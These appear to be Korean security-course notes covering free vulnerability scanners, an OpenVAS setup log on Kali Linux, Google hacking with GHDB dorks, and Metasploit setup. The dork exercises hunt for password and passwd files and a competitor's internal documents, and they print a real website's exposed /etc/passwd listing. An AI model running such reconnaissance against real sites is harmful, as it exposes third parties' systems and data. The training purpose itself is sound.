오픈VAS 매니저(Manager)는 스캐너 제어와 정보 제공을 담당한다. 오픈VAS 관리자(Administrator)는 명령줄 형식의 인터페이스를 제공하며, 풀 서비스 데몬(Service Daemon)으로 사용자 관리 및 피드 관리 기능을 제공한다.

GUI나 CLI 기반 클라이언트들도 있다. GSA(Greenbone Security Assistant)는 웹 기반 GUI를 제공한다. GSD(Greenbone Security Desktop)는 리눅스와 윈도를 포함해 다양한 OS에서 실행되는 Qt 기반의 데스크탑 클라이언트다. 그리고 오픈VAS CLI는 명령줄 인터페이스를 갖고 있다.

오픈 VAS는 아주 쉽게, 그리고 빠르게 설치해 사용할 수 있는 스캐너는 아니다. 그러나 무료 스캐너 가운데 가장 기능이 풍부하고, 폭넓게 사용할 수 있는 IT 보안 스캐너다. 수만 가지의 취약점을 검사하고, 동시에 스캔 작업을 처리할 수 있으며, 스캔 일정을 수립할 수도 있다. 또 스캔 결과에 대한 긍정 오류 관리 및 노트 기능을 제공한다. 하지만 최소한 핵심 기술 요소로 리눅스를 사용하는 환경이어야 한다.

■ 레티나 CS 커뮤니티(Retina CS Community)

레티나 CS 커뮤니티는 마이크로소프트와 어도비, 파이어폭스 등 써드파티 애플리케이션을 대상으로 최도 256개 IP까지는 무료로 취약점을 검사하고, 패칭을 제공한다. 또 모바일 장치, 웹 애플리케이션, 가상화 애플리케이션, 서버, 프라이빗 클라우드의 취약점 검사를 지원한다. 이 밖에 취약점, 설정 관련 문제, 누락된 패치 등을 조사한다.

그리고 패칭 기능을 제공한다. 한편 레니타 네트워크 커뮤니티(Retina Network Community) 취약점 스캐닝 기능을 제공하는 소프트웨어인데, 레티나 CS 커뮤니티 소프트웨어에 앞서 별개로 설치해야 한다.

레티나 CS 커뮤니티는 윈도우 서버 2008 이후 버전에 설치가 가능하다. 단 설치에 앞서 .Net 프레임워크 3.5가 설치되어 있고, IIS가 활성화되어 있어야 하며, 마이크로소프트 SQL 2008 이후 버전이 설치되어 있어야 한다. 또 도메인 컨트롤러(Domain Controller)나 스몰 비즈니스 서버(Small Business Servers) 설치는 지원하지 않는다.

소프트웨어를 설치하고 나면, 레티나 네트워크 커뮤니티 컴포넌트용 GUI 프로그램과 레티나 CS 커뮤니티 컴포넌트용 웹 기반 GUI가 구현된다. 여러 사용자 프로파일을 지원하기 때문에, 업무에 맞춰 검사를 할 수 있다.

다양한 스캔 및 리포트 탬플릿 가운데 선택을 해서 검사를 할 수 있다. 또 IP 범위를 지정해 스캔을 하거나, 스마트 선택 기능을 사용할 수도 있다. 또 스캔 자산에 필요한 크레덴셜(Credential)을 제공할 수 있다. 이메일과 경고 등 보고 방법 등을 선택하기 위해서다.

레티나 CS 커뮤니티는 상용 제품과 서비스를 공급하는 벤더가 공급하는 훌륭한 무료 제품이다. 최대 256개 IP와 다양한 자산을 대상으로 스캔과 패칭을 할 수 있다. 그러나 일부 소규모 사업에게는 시스템 요건이 부담이 될지도 모르겠다. 윈도우 서버가 필요하기 때문이다.


■ MBSA(Microsoft Baseline Security Analyzer)

MBSA(Microsoft Baseline Security Analyzer)는 윈도우 데스크톱과 서버에서 로컬 및 리모트 스캔을 하면서 누락된 서비스 팩, 보안 패치, 흔한 보안 설정 실수 등을 조사한다. 2.3 릴리스부터는 윈도우 8.1, 윈도우 8, 윈도우 서버 2012 R2, 윈도우 서버 2012도 지원한다.

MBSA는 상대적으로 사용하기 쉬운 툴이다. 먼저 리스트에서 컴퓨터 이름을 선택하거나 IP 주소를 지정해 한 대의 윈도우 머신을 선택해 스캔할 수 있다. 여러 머신을 스캔할 경우, 전체 도메인을 선택하거나, IP 주소 범위를 지정하면 된다. 이후 윈도우, IIS, SQL 관리 취약점, 취약한 비밀번호, 윈도우 업데이트 등 스캔 대상을 선택할 수 있다.

스캔이 끝나면, 스캔한 윈도우 머신 별로 전반적인 보안 등급, 세부적인 검사 결과 등이 수록된 보고서를 확인할 수 있다. 각 항목을 클릭하면, 취약점이 발견되었을 경우 스캔 대상에 대한 정보와 취약점 해결 방법을 자세히 알 수 있다. 또 향후 참조를 할 수 있도록 자동으로 보고서가 저장된다. 클립보드로 복사를 하거나, 인쇄할 수도 있다.

MBSA는 사용하기 쉬운 무료 툴이지만, 고급 윈도우 설정, 드라이버, 마이크로소프트 이외의 소프트웨어, 네트워크에 특정적인 취약점 스캔 기능은 뛰어나지 않다는 점에 유념할 필요가 있다. 그렇지만 일반적인 보안 위험을 찾아 경감할 때 아주 유용한 툴이다.


■ 넥스포즈 커뮤니티 에디션(Nexpose Community Edition)

넥스포즈 커뮤니티 에디션은 네트워크, 운영 시스템, 웹 애플리케이션, 데이터베이스, 가상 환경을 스캔할 수 있는 툴이다. 그러나 커뮤니티 에디션에는 한 번에 32개 IP까지만 스캔을 할 수 있다는 제약이 있다. 그리고 1년 후에는 새 라이선스를 신청해야 한다. 상용 에디션이지만 7일간 시험적으로 무료 사용할 수 있는 트라이얼 버전도 있다.

넥스포즈는 윈도우, 리눅스, 가상 머신에 설치할 수 있으며, 웹 기반 GUI를 제공한다. 웹 포털에 사이트를 만들어, 스캔하고 싶은 IP나 URL을 지정하고, 스캔 방법과 일정을 정하고, 스캔 자산에 필요한 크리덴셜을 제공할 수 있다.

사이트 스캔을 마치면 자산과 취약점 리스트를 확인할 수 있다. 여기에는 OS와 소프트웨어에 관한 정보, 취약점과 해결 방법 등에 대한 자세한 정보가 나와있다. 원하는 컴플라이언스 기준을 규정해 추적 관리할 수 있는 기능도 제공한다. 다양한 각도의 보고서를 생성해 내보내기 할 수도 있다.

넥스포즈 커뮤니티 에디션은 쉽게 설정해 사용할 수 있으며, 완전한 기능을 갖춘 취약점 스캐너다. 그러나 네트워크 환경이 클 경우 32개라는 IP 수의 제약이 실용적이지 못할 수 있다.


■ 시큐어체크(SecureCheq)

시큐어체크는 윈도우 데스크톱과 서버를 로컬 스캔해 CIS, ISO, COBIT 기준에 입각한 고급 윈도우 설정에 취약점이 있는지를 조사하는 툴이다. OS 강화, 데이터 보호, 커뮤니케이션 보안, 사용자 계정 활동, 감사 로깅 등 일반적인 설정 관련 실수 검색에 초점이 맞춰져 있다. 그러나 무료 버전은 20여 설정으로 스캔이 제한된다. 풀 버전이 지원하는 설정 수의 1/4에 불과하다.

시큐어체크 사용은 간단하다. PC를 스캔하고 나면, 설정 리스트 및 '패스(Passed)'나 '페일(Failed)' 결과를 확인할 수 있다.

설정을 클릭하면 취약점, 취약점에 대한 정보, 취약점 해결 방법에 대한 참조 정보가 있는 링크를 볼 수 있다. 애플리케이션 자체에서는 검사 결과를 저장할 수 없지만 인쇄하거나, OVAL XML 파일로 저장할 수 있다.

시큐어체크는 사용하기 쉽고, 고급 설정을 스캔할 수 있는 툴이다. 그러나 일부 공통 윈도우 취약점과 네트워크 기반 위협을 감지하지 못한다. 하지만 MBSA를 보완하는 툴로 사용하면 유용하다. MBSA로 기본 위협을 스캔한 이후, 시큐어체크로 고급 취약점을 스캔하는 것이다.


■ 퀄리스 프리스캔(QualysFreeScan)

퀄리스 프리스캔은 인터넷이나 로컬 서버 또는 머신에 연동된 URL이나 IP를 최대 10개까지 무료 스캔할 수 있는 툴이다. 처음에는 퀄리스 웹 포털에 접속해야 한다. 이후 내부 네트워크를 대상으로 스캔하기 위해서는 가상 머신 소프트웨어를 다운로드 받으면 된다.

퀄리스 프리스캔은 몇 가지 스캔 형식을 지원한다. 숨은 맬웨어, SSL 문제, 기타 네트워크 관련 취약점 검사 등이다. OWASP는 웹 애플리케이션의 취약점을 감사하는 기능이다. 패치 투스데이(Patch Tuesday)는 누락된 소프트웨어 패치를 스캔해 설치할 수 있도록 도움을 준다. SCAP는 컴퓨터 설정이 NIST(National Institute of Standards and Technologies)의 SCAP(Security Content Automation Protocol)에 부합하는지 점검한다.


처음에는 인터넷을 매개체로 한 온라인 스캔 툴로 보일 수 있다. 그러나 로컬 IP를 입력해 스캔하면, VM웨어나 버츄얼박스(VirtualBox) 이미지를 통해 가상 스캐너를 다운로드 받을 수 있다. 이를 이용하면 로컬 네트워크를 스캔할 수 있다. 스캔이 끝나면, 위협이나 패치 별 인터랙티브 보고서를 확인할 수 있다.

퀄리스 프리스캔은 10차례까지만 무료 스캔을 할 수 있다. 정기적으로 사용할 수 있는 툴은 아니라는 이야기다. 매일 사용을 위해서라기보다는 재확인을 위해 가끔 실행시키기에 적당하다.



참고 사이트(위의 내용은 다음 아래 사이트의 내용을 정리하였습니다. 원본 문서를 보시길)
● http://www.ciokorea.com/news/20809?page=0,2





[실습] Nessus을 통한 시스템 취약점 분석하기
● http://www.tenable.com/products/nessus-vulnerability-scanner
● Nessus 6.3 command line reference manual
● (참고) plugin을 받는데 많은 시간이 걸립니다.

[실습] Nexpos을 통한 시스템 취약점 분석하기
● http://www.rapid7.com/ko/products/nexpose/editions-and-features.jsp

[실습] OpenVAS을 통한 시스템 취약점 분석하기
● http://www.openvas.org/
● 다음 과정에 대한 취약점 분석 보고서를 작성한다.(2시간)KaliLinux(OpenVAS) --- 취약점 스캔 ---> Metasploitable V2 Linux Server
● (참고) plugin을 받는데 많은 시간이 걸립니다.
















-------------------------------------------------------------------------------------------------------





OpenVAS on KaliLinux 1.0.6





Configuring OpenVAS in Kali Linux 1.06
- https://sathisharthars.wordpress.com/2014/04/14/configuring-openvas-in-kali-linux-1-06/


■ OpenVAS 아키텍쳐(Architecture Overview)
 
The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and tools. The core of this SSL-secured service-oriented architecture is the OpenVAS Scanner. The scanner very efficiently executes the actual Network Vulnerability Tests (NVTs) which are served with daily updates Openvas NVT Feed or via a commercial feed service.





The OpenVAS Manager is the central service that consolidates plain vulnerability scanning into a full vulnerability management solution. The Manager controls the Scanner via OTP (OpenVAS Transfer Protocol) and itself offers the XML-based, stateless OpenVAS Management Protocol (OMP). All intelligence is implemented in the Manager so that it is possible to implement various lean clients that will behave consistently e.g. with regard to filtering or sorting scan results. The Manager also controls a SQL database (sqlite-based) where all configuration and scan result data is centrally stored.

A couple of different OMP clients are available: The Greenbone Security Assistant (GSA) is a lean web service offering a user interface for web browsers. GSA uses XSL transformation stylesheet that converts OMP responses into HTML.
 
The Greenbone Security Desktop (GSD) is a Qt-based desktop client for OMP. It runs on various Linux, Windows and other operating systems.
 
OpenVAS CLI contains the command line tool “omp”  which allows to create batch processes to drive OpenVAS Manager.

The OpenVAS Administrator acts as a command line tool or as a full service daemon offering the OpenVAS Administration Protocol (OAP). The most important tasks are the user management and feed management. GSA support OAP and users with the role “Admin” can access the OAP functionality.
 
Most of the tools listed above share functionality that is aggregated in the OpenVAS Libraries.
 
The OpenVAS Scanner offers the communication protocol OTP (OpenVAS Transfer Protocol) which allows to control the scan execution. This protocol is subject to be eventually replaced and thus it is not recommended to develop OTP clients. Traditionally, the desktop- and cli-tool OpenVAS Client acts as a direct OTP client.
■ OpenVAS 플러긴 다운로드(Download the Plugins for OpenVAS)

Applications > Kali Linux > Vulnerability Analysis > OpenVAS  > Initial Setup
-> OpenVAS will now download all the plugins required (a few minutes)


/var/lib/openvas/private/CA created
/var/lib/openvas/CA created

[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.
[i] The 'OpenVAS NVT Feed' is provided by 'The OpenVAS Project'.
[i] Online information about this feed: 'http://www.openvas.org/openvas-nvt-feed.html'.
[i] NVT dir: /var/lib/openvas/plugins
[i] rsync is not recommended for the initial sync. Falling back on http.
[i] Will use wget
[i] Using GNU wget: /usr/bin/wget
[i] Configured NVT http feed: http://www.openvas.org/openvas-nvt-feed-current.tar.bz2
[i] Downloading to: /tmp/openvas-nvt-sync.UvwUvHLS1w/openvas-feed-2015-04-21-8900.tar.bz2
--2015-04-21 12:13:51--  http://www.openvas.org/openvas-nvt-feed-current.tar.bz2
Resolving www.openvas.org (www.openvas.org)... failed: 이름 혹은 서비스를 알 수 없습니다.
wget: unable to resolve host address `www.openvas.org'
[i] Checking dir: ok
[i] Checking MD5 checksum: /usr/bin/md5sum: /var/lib/openvas/plugins/md5sums: 그런 파일이나 디렉터리가 없습니다
not ok
Error: md5sums not correct. Your NVT collection might be broken now.
Please try this for details: cd "/var/lib/openvas/plugins" ; /usr/bin/md5sum -c "/var/lib/openvas/plugins/md5sums" | less
Generating RSA private key, 1024 bit long modulus
.................................................++++++
.......................++++++
e is 65537 (0x10001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [DE]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, section) []:Common Name (eg, your name or your server's hostname) []:Email Address []:Using configuration from /tmp/openvas-mkcert-client.8917/stdC.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'DE'
localityName          :PRINTABLE:'Berlin'
commonName            :PRINTABLE:'om'
Certificate is to be certified until Apr 20 03:13:52 2016 GMT (365 days)

Write out database with 1 new entries
Data Base Updated
User om added to OpenVAS.

Stopping OpenVAS Manager: openvasmd.
Stopping OpenVAS Scanner: openvassd.
All plugins loaded                                  
md   main:WARNING:8951:2015-04-21 12h13.52 KST: sql_x: sqlite3_prepare failed: no such table: main.meta
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd.
Restarting OpenVAS Administrator: openvasad.
Restarting Greenbone Security Assistant: gsad.
Enter password: (soldesk1.)
ad   main:MESSAGE:9017:2015-04-21 12h15.35 KST: No rules file provided, the new user will have no restrictions.
ad   main:MESSAGE:9017:2015-04-21 12h15.35 KST: User admin has been successfully created.





■ 웹으로 로그인 1

The default user id is admin.  then enter a your  password as per your wish.

Open your  Iceweasel browser in your  Local Host  Port 9392

https://127.0.0.1:9392
or
https://localhost:9392







■ OpenVAS 로그인 박스(OpenVAS Login Box)

ID/PASS : admin/soldesk1.

openvas4 greenbone login screen Default username = admin

Password (whatever you entered during setup)






    [참고] 사용자 관리용 명령어
    (KaliLinux) 변경 필요(다시 작성해야 한다.)
    ■ 새로운 관리자를 추가하는 방법
    # openvasad -c add_user -u your_new_login_here -r Admin

    ■ admin 사용자의 암호를 변경하는거나 새로 주는 방법
    # openvasmd --user=admin --new-password=new_password

    ■ 새로운 사용자를 추가하는 방법
    # openvasmd --create-user NEWUSER

    ■ 추가된 사용자를 삭제하는 방법
    # openvasmd --delete-user=NEWUSER

■ OpenVAS Security Assistant screen (Hermione Granger wizard appears)






■ 취약점 데이터 업데이트(Update your Vulnerability Database Feeds)

Administration > NVT Feed > Synchronise with Feed Now

Nvt feedThis step is critical.  if you do not update the vulnerability database feeds, it will generate errors later on.








-> 오랜시간이 걸린다.(약 X 분)

    시작 시간:  Started Tue Apr 21 12:20:02 2015 by admin
    종료 시간:

Like wise update all below field in admin panel
Administration > NVT Feed
Administration  > SCAP Database Feed (these are xml files for the reports)
Administration > Cert Feed




■ 사용자 추가(Add Users) - Optional

Administration > Users
Add Users

    Login name : soldesk
    Password : soldesk1.
    Role : Admin
        [ V ] Allow All
    Host Access :

    오른쪽 하단의 "Create Users" 선택
   











■ 스캔 타겟 설정(Set Targets to Scan)
 
Configuration > Targets

Localhost will be there by default.
 
Add your router as a target eg 192.168.31.1
 
 
Look for the Blue box with a White star  click the  star
White star = New Target






■ New target Enter IP of Router, and port options (eg all TCP)

    Name : linux200
    Hosts: [ V ] Manual : 192.168.20.200
    Commemnt : 적당한 내용

Create Target Button









■ Create a Task

Scan Management >  New Task




■ Create Task Button
Scan Config = Full and Fast




■ Scan the newly added target  and detail of scan report in the left side








■ List of Vulnerability found in the target system













-------------------------------------------------------------------------------------------------------







C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\04_정규과정\02_정보수집단계\03_구글링.hwp





구글링(Googling), 구글해킹(Google Hacking), 구글핵(Google Hack)




    ■ 정보 수집 과정의 종류
    □ 검색 엔진을 사용하는 경우(EX: 구글링)        □ 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com)        □ 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
    □ DNS 서버를 사용하는 경우(EX: dnsenum CMD)
    □ 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
    □ 스캐너를 사용하는 방법        □ 일반 스캐너를 사용하는 방법(EX: nmap/zenmap)        □ 취약점 스캐너를 사용하는 방법(EX: Nessus/OpenVAS/Nexpose)


■ 구글링(Googling)

인터넷 구글(Google) 사이트에서 정보를 검색하는 작업을 말한다. (dic.naver.com)


■ 구글 해킹(Google Hacking)

웹 사이트가 사용하는 구성과 컴퓨터 코드에 보안 구멍을 찾기 위해 Google 검색 및 기타 Google 응용 프로그램을 사용하는 컴퓨터 해킹 기술이다. 공격자는 개인정보 등 손쉽게 취약점을 찾을 수 있다. 구글해킹의 구글봇이 수집하는 데이터를 서버에 캐시상태로 저장하기 때문에, 해당 사이트가 삭제되거나 한 후에도 오랜 시간이 지나기 전엔 검색결과에 노출되기 때문에 이전 페이지가 그대로 노출 될 수 있으며, 이 데이터를 모으면 손쉽게 취약점을 찾을 수 있다.
(https://ko.wikipedia.org/wiki/구글_해킹)


■ GHDB(Google Hack DB)

구글 검색을 통한 특정 자료나 치명적인 자료를 찾거나 구하는 방법, 해킹 취약점을 찾는 방법등에 관해 데이터베이스화 시켜 놓은 서비스이다.

http://www.exploit-db.com/google-dorks


■ GHDB 카테고리(Category)

항목
설명
Footholds (31)
Examples of queries that can help a hacker gain a foothold into a web server
해커들이 웹서버에 접근 가능하게 연계
Files containing usernames (17)
These files contain usernames, but no passwords... Still, google finding usernames on a web site..
웹사이트에서 패스워드 설정이 안돼 있는 파일 검색
Sensitive Directories (74)
Google's collection of web sites sharing sensitive directories. The files contained in here will vary from sesitive to uber-secret!
공유된 민감한 디렉토리들을 웹페이지에서 수집
Web Server Detection (72)
These links demonstrate Google's awesome ability to profile web servers..
웹 서버를 감지
Vulnerable Files (61)
HUNDREDS of vulnerable files that Google can find on websites...
수백만 개의 웹사이트 취약점을 검색
Vulnerable Servers (77)
These searches reveal servers with specific vulnerabilities. These are found in a different way than the searches found in the "Vulnerable Files" section.
특정 취약점이 있는 서버를 찾음. 또 따른 검색 방법은 '취약한 파일' 절에서 검색
Error Messages (77)
Really retarded error messages that say WAY too much!
다양한 에러 메세지 검출
Files containing juicy info (77)
No usernames or passwords, but interesting stuff none the less.
사용자 이름이나 패스워드를 몰라도 해킹이 가능
Files containing passwords (305)
PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS!
구글에서 암호화된 파일을 검색
Sensitive Online Shopping Info (9)
Examples of queries that can reveal online shopping info like customer data, suppliers, orders, creditcard numbers, credit card info, etc
온라인 쇼핑시 사용되는 고객정보, 주문내역, 카드번호 등 민감한 정보들을 수집
Network or vulnerability data (63)
These pages contain such things as firewall logs, honeypot logs, network information, IDS logs... all sorts of fun stuff!
이 페이지는 방화벽 로고, 허니팟 로그등 네트워크 정보와 취약한 데이터를 포함
Pages containing login portals (284)
These are login pages for various services. Consider them the front door of a website's more sensitive functions.
로그인 페이지를 포함하고 있는 포털 사이트를 통해 해킹이 가능
Various Online Devices (242)
This category contains things like printers, video cameras, and all sorts of cool things found on the web with Google.
웹 페이지에서 프린터, 비디오 카메라 등 온라인 장치에 대한 정보를 수집
Advisories and Vulnerabilities (1971)
These searches locate vulnerable servers. These searches are often generated from various security advisory posts, and in many cases are product or version-specific.
취약한 서버를 찾는다. 여러가지 보안권고 게시물을 검색



[실습] GHDB의 다양한 점보를 검색하고 검색 패턴에 대한 정리를 한다.
- 다음 문서에 대한 내용을 참고한다.
- 구글검색을이용한해킹방어[심정재]
● 기본적인 검색 키워드- site:co.kr- inurl:admin- filetype:asp- intext:passwd- intitle:"MS SQL"




[실습] 구글독 사이트에서 선택한 항목과 구글 웹사이트에서 직접 입력한것만 출력결과를 비교
- http://www.exploit-db.com/google-dorks



[실습] "구글 웹마스터 도구 > 콘텐츠 삭제 서비스" 신청 서비스 사용
- https://www.google.com/webmasters/tools/removals?hl=ko
- (시나리오) 자신의 정보를 검색하고 삭제 서비스를 사용하여 신청한다.
- (주의) 웹페이지안의 내용을 잘 읽어야 한다.



(가상 시나리오 1)
우리 회사와 경쟁 하는 회사의 정보를 획득 해 보자.

● site:example.com filetype:hwp    정부에 제한했던 제안서 파일들
● site:example.com filetype:pdf    발표용 자료들
● site:example.com filetype:ppt    발표용 자료들
● site:example.com filetype:xls    관리용 자료들


파일의 종류를 정리 해 보자.
[참고] 파일의 확장자 종류(http://www.terms.co.kr/filename-extensions.htm)

파일의 확장자
설명
비고
hwp
아래아한글 파일

pdf
어도비 애크로뱃 문서 형식 (Portable Document Format)

xls
마이크로소프트 엑셀 파일

ppt
마이크로소프트 파워포인트 파일














(가상 시나리오 2)
어떤 사이트에서 자신의 주민등록 번호를 사용하고 있는지 확인

site:example.com intext:581010-XXXXXXX






[실습] 가상적인 시나리오를 만들고 다양한 테스트를 해 본다.
(주의) 반드시 검색 과정을 정리하면서 과정을 진행한다.

(예제1) 취약한 파일 검색
passwd
passwd.txt
shodow
shodow.txt
admin.txt
etc

(예제2)
www.exploit-db.com/google-dorks
-> 하단의 'category' 부분에서 'Files containing passwords' 선택하고
    search 부분에는 'admin' 입력한다.


(예제3)
www.exploit-db.com/google-dorks
-> 하단의 "Google Hacking Database Categories" 부분에서 "Files containing usernames" 선택하고

-> 아래 부분을 선택한다.
DATE        Title                                         Summary
==========  ==========================================   =================================================
2013-04-22    intext:"root:x:0:0:root:/root:/bin/bash"...    Author: ./tic0 | Izzudin al-Qassam Cyber Fighter ...

-> 아래 부분을 선택한다.
Google search: intext:"root:x:0:0:root:/root:/bin/bash" inurl:*=/etc/passwd

-> 아래 부분을 선택한다.(페이지 하단 부분에 존재한다.)

passwd.OLD - Commonwealth Human Rights Initiative
www.humanrightsinitiative.org/.../passwd.OLD      이 페이지 번역하기
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ...


-> 아래와 같은 URL 부분에 취약점이 존재하는 페이지가 보인다.
http://www.humanrightsinitiative.org/lgbti-interactive-map/sym/root/home/chri/public_html/sym/root/etc/passwd.OLD

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
cpanel:x:32001:32001::/var/cpanel/userhomes/cpanel:/usr/local/cpanel/bin/noshell
cpanelhorde:x:32002:32002::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/bin/noshell
cpanelphpmyadmin:x:32003:32003::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/local/cpanel/bin/noshell
cpanelphppgadmin:x:32004:32004::/var/cpanel/userhomes/cpanelphppgadmin:/usr/local/cpanel/bin/noshell
cpanelroundcube:x:32005:32005::/var/cpanel/userhomes/cpanelroundcube:/usr/local/cpanel/bin/noshell
mailman:x:32006:32006::/usr/local/cpanel/3rdparty/mailman/mailman:/usr/local/cpanel/bin/noshell
mysql:x:498:499:MySQL server:/var/lib/mysql:/bin/bash
mailnull:x:47:47:Exim:/var/spool/mqueue:/bin/false
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
cpaneleximfilter:x:32007:32009::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshell
cpanellogin:x:32008:32010::/var/cpanel/userhomes/cpanellogin:/usr/local/cpanel/bin/noshell
cpanellogaholic:x:32009:32011::/var/cpanel/userhomes/cpanellogaholic:/usr/local/cpanel/bin/noshell
chri:x:500:500::/home/chri:/bin/false
clamav:x:502:502::/usr/local/clamav:/sbin/nologin
nipsa:x:504:504::/home/nipsa:/usr/local/cpanel/bin/noshell
sartian:x:505:505::/home/sartian:/usr/local/cpanel/bin/noshell
cpaneleximscanner:x:503:503::/var/cpanel/userhomes/cpaneleximscanner:/usr/local/cpanel/bin/noshell
cpanelphpgadmin:x:506:506::/var/cpanel/userhomes/cpanelphpgadmin:/usr/local/cpanel/bin/noshell
dovenull:x:497:498:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
cpses:x:496:497::/var/cpanel/cpses:/sbin/nologin





C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\04_정규과정\02_정보수집단계\04_Metaspolit_Kali2.0_2016_0408.hwp




메타스플로잇(Metasploit)



■ 메타스플로잇(Metasploit, Meta Exploit Framework) 개요

메타스플로잇은 HD 무어(H.D Moore)가 보안 회사에 근무하는 동안에 계획하고 개발했다. 공개된 공격 코드의 불필요한 부분을 정리하고 검증하는데 많은 시간이 소비 되기 때문에 익스플로잇(Exploit)의 제작과 개발을 좀 더 유연하고 유지 보수가 가능하도록 만들기 위해 프레임워크를 개발했다.

2003년 11월, 처음 공개된 펄(perl) 기반의 메타스플로잇은 총 11개의 익스플로잇을 제공했다. 스폼(Spoonm)의 도움으로 프로젝트를 모두 재작성한 후 2004년 4월에 메타스플로잇 2.0을 공개했다. 19개의 익스플로잇과 27개가 넘는 페이로드가 포함된 2.0 버전이 발표된 후 매튜 밀러(Skape)가 메타스플로잇 개발 팀에 합류했고 인기를 얻기 시작했다. 메타스플로잇 프레임워크는 정보보호 커뮤니티에서 큰 지지를 받았고, 곧 모의 해킹을 위한 필수 도구로 부상했다.

메타스플로잇 팀은 프레임워크를 루비 언어(Ruby)로 완전히 재작성한 후 2007년에 메타스플로잇 3.0을 공개했다. 프레임워크를 펄에서 루비로 재작성하는 데는 총 18개월이 소요되었으며, 15만 줄이 넘는 새로운 코드가 추가되었다. 3.0 버전 발표와 함께 메타스플로잇은 보안 커뮤니티에 널리 채택되었고 사용자의 기부가 많이 증가했다. 지금까지 루비로 작성된 가장 복잡한 프로젝트 중 하나이다.

2009년 가을, 메타스플로잇은 취약점 스캐닝 분야의 선두인 래피드7(raid7)에 인수되었고, HD 무어에게는 메타스플로잇 프레임워크 개발에만 초점을 둔 팀을 만들수 있도록 하였다.


■ 메타스플로잇 프레임워크(Metasploit Framework)의 특징
● 취약점 진단 통합 프레임워크
● MSF(Metasploit Framework)는 오픈 소스 도구로- 공격 코드(exploit)- 페이로드(payload)- 인코더(encoder)- 정찰 도구- 보안 테스팅등을 제공하는 일종의 체계이다.
● (초기버전) 단순한 공격 코드의 집합(현재버전) 광범위한 영역의 정보 탐색, 공격, 사전 침투에 관련된 보안 툴의 설계와 개발 능력            제공
● MSF(Meta Exploit Framework)는 새로운 공격 코드, 페이로드, 정보 탐색 도구들을 개발 할 수 있는 환경을 제공하는 최초이자 최고의 기반 프로그램이다.
● MSF는 새로운 보안 테스팅 기술의 개발과 보안 리서치를 가능하게 하는 도구, 관련 유틸리티들을 직접 설계할 수 있는 기반을 제공한다.
● 유닉스(UNIX), 리눅스(LINUX), 윈도우(WINDOWS), 맥(MAC) 환경을 지원한다.
● 메타 익스플로잇은- (유료) 프로(MSF pro) 버전과- (무료) 커뮤니티(MSF community) 버전을 제공하고 있다.
● 칼리리눅스에서는 커뮤니티 버전이 포함되어 있다.



2.  칼리리눅스에서 커뮤티니 웹서비스 접근하기

    [참고] DB 종류들에 대해서
    Database(DB) : Oracle Oracle11gR2, IBM DB2, MS MS-SQL,
              Infomix, Sybase, MySQL, PostgreSQL,

    [참고] 서비스 start/stop 방법에 대해서
    (RedHat 계열) (현재)# service sshd restart
             (부팅)# chkconfig sshd on
    (Debian 계열) (현재)# service ssh restart
             (부팅)# update-rc.d ssh enable

    [참고] postgresql & metasploit 서비스 부팅시에 동작하도록 설정하기
    # update-rc.d postgresql enable
    # update-rc.d metasploit enable

    [참고] KaliLinux 2.0 버전에서 MSF 체계와 DB 초기화 작업
    # msfdb init
    # service postgresql start
    # msfconsole
    msf> db_status

    [참고] msfconsole 사용하는 방법 비교
    (KaliLinux 1.X)
    # service postgresql start  (# service metaspolit restart)
    # msfconsole
    (KaliLinux 2.X)
    # msfdb init    /* 초기에 한번만 작업하면 된다. */
    # service postgresql start
    # msfconsole


(KaliLinux)

# msfdb

Manage a metasploit framework database

  msfdb init    # initialize the database
  msfdb reinit  # delete and reinitialize the database
  msfdb delete  # delete database and stop using it
  msfdb start   # start the database
  msfdb stop    # stop the database


# msfdb init

Creating database user 'msf'
Enter password for new role:
Enter it again:
